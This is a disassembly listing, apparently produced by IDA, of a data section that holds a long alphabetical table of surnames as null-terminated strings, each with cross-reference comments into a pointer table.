aMa		db 'Ma',0               ; DATA XREF: ___:0042E020o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E01Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E018o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E014o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E010o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E00Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E008o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E004o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E000o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042DFFCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042DFF8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFF4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFECo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFE8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFE4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFDCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFD8o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFD4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFCCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFC8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFC4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFBCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFB8o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFB4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFA8o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFA4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA0o
		align 10h
aLight		db 'Light',0            ; DATA XREF: ___:0042DF9Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DF98o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF94o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF90o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF8Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF88o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF84o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF80o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF78o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF74o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF70o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF6Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF68o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF64o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF60o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF5Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF58o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF54o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF50o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF4Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF48o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF44o
aLa		db 'La',0               ; DATA XREF: ___:0042DF40o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF3Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF38o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF34o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF30o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF2Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF28o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042DF24o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042DF20o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042DF1Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042DF18o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042DF14o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042DF10o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042DF0Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042DF08o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042DF04o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042DF00o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042DEFCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042DEF8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042DEF4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042DEF0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042DEECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042DEE8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042DEE4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042DEE0o
aKling		db 'Kling',0            ; DATA XREF: ___:0042DEDCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042DED8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042DED4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042DED0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042DECCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042DEC8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042DEC4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042DEC0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042DEBCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042DEB8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042DEB4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042DEB0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042DEACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:0042DEA8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042DEA4o
		align 10h
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042DEA0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042DE9Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042DE98o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042DE94o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042DE90o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042DE8Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:0042DE88o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042DE84o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE80o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE7Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE78o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE74o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE70o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE6Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE68o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE64o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE60o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE5Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE58o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE54o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE50o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE4Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE48o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE44o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE40o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE3Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE38o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE34o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE30o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE2Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE28o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE24o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE20o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE1Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE18o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE14o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE10o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE0Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE08o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE04o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE00o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DDFCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042DDF8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDF4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDE8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDE4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDDCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDD8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDD4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDCCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDC8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDC4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDBCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDB8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDB4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDA4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DD9Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DD98o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD94o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD90o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD8Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD88o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD84o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD80o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD78o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD74o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD70o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD6Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD68o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD64o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD60o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD5Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD58o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD54o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD50o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD4Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD48o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD44o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD40o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD3Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD38o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD34o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD30o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD2Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD28o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD24o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD20o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD1Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD18o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD14o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD10o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD0Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD08o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD04o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD00o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DCFCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DCF8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCF4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCE8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCE4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCDCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCD8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCD4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD0o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCCCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCC8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCC4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCBCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCB8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCB4o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCA8o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCA4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DC9Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DC98o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC94o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC90o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC8Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC88o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC84o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC80o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC7Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC78o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC74o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC70o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC6Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC68o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC64o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC60o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC5Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC58o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC54o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC50o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC4Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC48o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC44o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC40o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC3Co
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC38o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC34o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC30o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC2Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC28o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC24o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC20o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC1Co
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC18o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC14o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC10o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC0Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC08o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC04o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC00o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DBF8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBF4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBE8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBE4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBDCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBD4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBCCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBC8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBC4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBBCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBB8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBB4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBA4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DB9Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DB98o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB94o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB90o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB8Co
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB88o
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DB84o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB80o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB7Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB78o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB74o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB70o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB6Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB68o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB64o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB60o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB5Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB58o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB54o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB50o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB4Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB48o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB44o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB40o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB3Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB38o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB34o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB30o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB2Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB28o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB24o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB20o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB1Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB18o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB14o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB10o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB0Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB08o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB04o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB00o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DAFCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DAF8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAF4o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAE8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAE4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DADCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAD8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DAD4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DACCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAC8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DAC4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DABCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAB8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DAB4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAA8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAA4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DA9Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DA98o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA94o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA90o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA8Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA88o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA84o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA80o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA7Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA78o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA74o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA70o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA6Co
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA68o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA64o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA60o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA5Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA58o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA54o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA50o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA4Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA48o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA44o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA40o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA3Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o
		align 4
